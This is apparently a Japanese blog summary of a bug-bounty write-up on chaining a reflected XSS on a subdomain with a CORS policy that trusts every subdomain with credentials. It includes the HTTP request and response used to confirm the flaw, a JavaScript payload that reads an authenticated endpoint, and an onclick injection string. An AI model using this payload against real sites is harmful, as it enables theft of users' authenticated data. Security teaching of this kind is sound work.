Hello there, ('ω')ノ
CORSの設定ミスを楽しむを。
脆弱性:
CORSの設定ミス
XSS
記事:
https://medium.com/@amangupta566/fun-with-cors-misconfiguration-ii-927caccfe932
今回は、機密情報の漏洩につながるCORSの設定ミスについて説明することに。
Webアプリケーションのvulnerable.comは、すべてのサブドメインを信頼していて。
これは、すべてのサブドメインが機密データを取得できることを意味して。
サブドメインが自分のドメインであり。
自分のドメインを信頼できるため、意味があるものの。
攻撃者がサブドメインに何らかの脆弱性を見つけて。
それを使用してCORSの設定ミスを悪用すると、問題が発生する可能性があって。
今回のシナリオは次のとおりで。
GET /sensitiveData HTTP/1.1
Host: vulnerable.com
Origin: https: //example.vulnerable.com
サーバから受け取った応答:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.vulnerable.com
Access-Control-Allow-Credentials: true
:
これで、アプリケーションがすべてのサブドメインを。
信頼していることが確認できて。
CORSへのサーバ設定は、次のようで。
Access-Control-Allow-Origin: * .vulnerable.com
したがって、この設定ミスを悪用するために。
サブドメインに2つの脆弱性を見つけることができて。
1.いずれかのサブドメインでのクロスサイトスクリプティング
2.サブドメインの乗っ取り:
そのサブドメインで独自のJavaScriptを作成して。
被害者をだますことができるようにして。
サブドメインの脆弱性を見つけてみたところ。
https://test.vulnerable.comなどのサブドメインの1つに。
反射型XSSが見つかって。
あとは、そのサブドメインに悪意のあるJavaScriptを挿入して。
被害者にそのページにアクセスしてもらうことだけで。
XSSが存在するサブドメインに次のペイロードを注入すると。
CORSの設定ミスが悪用されることに。
function cors(){
var xhttp=new XMLHttpRequest();
xhttp.onreadystatechange=function(){
if (this.readyState ==4&& this.status==200){alert(this.responseText)}};
xhttp.open(“GET”, “https://vulnerable.com/auth/user”, true);
xhttp.withCredentials=true;xhttp.send();}
そのため、サブドメインのnameパラメータは脆弱で。
XSSペイロードは、次のようになって。
“onclick=”[payload]
よって、インジェクションされてCORSの設定ミスが正常に悪用されて。
Best regards, (^^ゞ